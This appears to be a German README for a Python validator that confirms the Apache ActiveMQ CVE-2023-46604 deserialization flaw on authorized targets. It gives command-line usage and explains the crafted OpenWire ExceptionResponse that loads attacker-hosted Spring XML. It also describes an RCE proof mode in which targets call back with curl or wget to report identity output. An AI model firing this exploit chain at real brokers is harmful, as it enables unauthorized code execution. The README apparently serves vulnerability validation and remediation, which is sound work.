
Nicht-destruktiver Validator für Apache ActiveMQ CVE-2023-46604. Sendet präparierte OpenWire-Pakete, nutzt einen HTTP-Callback-Server zur Bestätigung von RCE oder XML-Laden und erzeugt CSV/JSON-Nachweise für autorisierte Penetrationstests.
Ein einziges, nicht-destruktives Validator-Tool für Apache ActiveMQ CVE-2023-46604. Es startet einen eigenen HTTP-Callback-Server, generiert zielspezifisches Spring-XML im Speicher, sendet das präparierte OpenWire-Paket, korreliert Callbacks mit eindeutigen Tokens und schreibt CSV/JSON-Beweise.
Das Projekt ist für autorisierte Penetrationstests und Flottenvalidierung konzipiert. Es implementiert bewusst keine Reverse Shells, uneingeschränkte Befehlsausführung, CIDR-Erweiterung, Persistenz oder Payload-Staging.
Zwei feste Beweismodi sind verfügbar:
rce führt eine feste, schreibgeschützte Identitätsprüfung aus und gibt deren Ausgabe an den integrierten HTTP-Server zurück. Ein Callback bestätigt die Ausführung von Betriebssystembefehlen im ActiveMQ-Dienstkontext.xml stellt einen leeren Spring-Kontext bereit. Ein Abruf bestätigt, dass die präparierte OpenWire-Nachricht das Ziel veranlasst hat, ClassPathXmlApplicationContext zu instanziieren und vom Angreifer kontrolliertes XML abzurufen, ohne einen Prozess zu starten.Es müssen keine XML-Dateien erstellt oder separat gehostet werden.
--fail-on-vuln-Exit-CodeDer Standard-OpenWire-Port ist 61616, aber nicht standardmäßige Ports werden unterstützt.
Verwenden Sie in den Beispielen nur dokumentationsbezogene Adressen; ersetzen Sie diese durch Ihre autorisierten Assets.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
Das Skript startet den Callback-Server automatisch auf TCP/8000, stellt das generierte XML bereit, sendet das OpenWire-Paket, wartet auf Beweise, gibt eine Ergebnistabelle aus und schreibt:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Erstellen Sie targets.txt:
# Ein explizit autorisierter Host pro Zeile
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Ausführen:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
Zieldateien dürfen leere Zeilen und Kommentare enthalten, die mit # beginnen. Die CIDR-Erweiterung wird absichtlich nicht unterstützt; enumerieren Sie das autorisierte Inventar explizit.
Für einfache geroutete Netzwerke lassen Sie --callback-host weg:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
Das Tool wählt die lokale Quelladresse aus, die für das Routing zum ersten Ziel verwendet wird. Geben Sie --callback-host an, wenn Sie über NAT, VPNs, Container, Jump-Hosts oder Systeme mit mehreren Netzwerkschnittstellen testen.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
Die Windows-Prüfung verwendet einen festen, nicht-interaktiven PowerShell-Befehl, um die Dienstidentität, den Computernamen und die OS-Version zurückzugeben. Sie stellt keine interaktive Shell bereit.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
Dieser Modus instanziiert kein ProcessBuilder.
Verwenden Sie ein ssl://-Ziel:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
Für einen internen Listener mit einem nicht vertrauenswürdigen Zertifikat:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify betrifft nur die OpenWire-TLS-Verbindung. Der Callback-Server ist HTTP.
| Status | Bedeutung |
|---|---|
CONFIRMED_VULNERABLE_RCE | Das Ziel hat sein XML abgerufen und der feste Identitätsbefehl hat Beweise zurückgegeben. |
CONFIRMED_VULNERABLE_XML_LOAD | Im xml-Modus hat das Ziel das eindeutige XML-Dokument abgerufen. |
VULNERABLE_XML_LOAD_ONLY | Im rce-Modus erfolgte der XML-Abruf, aber der Befehls-Callback nicht. Der verwundbare Klasseninstanziierungspfad ist bestätigt; Callback-Tooling, Egress oder Prozessausführung können eingeschränkt sein. |
NOT_CONFIRMED | Das Paket wurde gesendet, aber vor Ablauf der Frist traf keine korrelierte HTTP-Beweisführung ein. Dies ist kein Beweis dafür, dass der Host gepatcht ist. |
UNREACHABLE | Die TCP/TLS-Verbindung oder das Senden des Pakets ist fehlgeschlagen. |
Ein gepatchter Broker, ein falscher Port, Egress-Filterung, Routing-Probleme, TLS-Abweichungen und Endpunktkontrollen können alle die Callback-basierte Validierung beeinflussen. Bewahren Sie die CSV/JSON-Zeitstempel und die Callback-Ausgabe als Berichtsnachweise auf.
Die Linux-Identitätsprüfung gibt eine Ausgabe ähnlich der folgenden zurück:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
Sie versucht curl, wget und BusyBox wget für den HTTP-POST. Wenn das XML abgerufen wird, aber keiner dieser Clients verfügbar ist, lautet das Ergebnis VULNERABLE_XML_LOAD_ONLY statt eines falsch negativen Ergebnisses.
0: Validierung abgeschlossen, oder Schwachstellen wurden ohne --fail-on-vuln gefunden2: Mindestens ein verwundbares Ergebnis wurde gefunden und --fail-on-vuln wurde angegebenBeispiel für CI-Nutzung:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 betrifft das Java-OpenWire-Unmarshalling. Der Validator sendet eine lose marshallierte OpenWire-ExceptionResponse, deren Ausnahmeklasse lautet:
org.springframework.context.support.ClassPathXmlApplicationContext
Die Ausnahmemeldung ist die eindeutige URL des generierten Spring-XML. Verwundbarer ActiveMQ-Code instanziiert die vom Angreifer ausgewählte Klasse mit dieser URL. Im rce-Modus startet der Spring-Kontext eine feste ProcessBuilder-Prüfung; im xml-Modus ist der Kontext leer.
Jedes Ziel erhält ein anderes Token, zum Beispiel:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
Dadurch können gleichzeitige Callbacks dem richtigen Ziel zugeordnet werden.
--authorized Erforderliche Autorisierungsbestätigung
-t, --target VALUE Explizites Ziel; wiederholbar
-T, --targets-file FILE Ein explizites Ziel pro Zeile; wiederholbar
--default-port PORT Standard 61616
--tls TLS für alle Ziele verwenden
--tls-no-verify OpenWire-TLS-Zertifikatsvalidierung deaktivieren
--callback-host HOST Adresse, die Ziele für HTTP-Callbacks verwenden
--bind-host HOST Lokale HTTP-Bind-Adresse; Standard 0.0.0.0
--http-port PORT Lokaler HTTP-Port; Standard 8000; 0 wählt einen freien Port
--proof rce|xml Fester Beweismodus; Standard rce
--platform linux|windows Ziel-OS für den RCE-Modus; Standard linux
--workers N Parallele Worker; maximal 32
--connect-timeout SECONDS TCP/TLS-Timeout
--wait SECONDS Callback-Sammelfenster
--retries N Ein bis drei Paket-Sendeversuche
--retry-delay SECONDS Verzögerung zwischen Versuchen
-o, --output FILE CSV-Beweisziel
--json-output FILE Optionales JSON-Ziel
--verbose HTTP-Anforderungsprotokolle anzeigen
--fail-on-vuln Exit 2, wenn ein verwundbares Ergebnis gefunden wird
python3 -m unittest discover -s tests -v
Die Tests verifizieren die Zielanalyse, CIDR-Ablehnung, XML-Wohlgeformtheit und die OpenWire-Frame-Struktur, ohne ein Ziel zu kontaktieren.
Upgraden Sie ActiveMQ auf eine gepatchte und aktuell unterstützte Version. Das Apache-Advisory identifizierte gepatchte Versionen für die damals aktuellen Zweige als ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 und 6.0.0 sowie Artemis 2.31.2. Beschränken Sie außerdem OpenWire-Listener auf vertrauenswürdige Clients und überwachen Sie auf unerwartete ausgehende XML-Abrufe.
Dieses Repository dient der defensiven Validierung und autorisierten Sicherheitsbewertungen. Es lässt absichtlich Folgendes aus:
--command-AusführungDie feste Identitätsprüfung reicht aus, um Remote-Codeausführung und die Auswirkungen auf das Dienstkonto nachzuweisen, ohne interaktiven Zugriff herzustellen.
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT. Siehe LICENSE.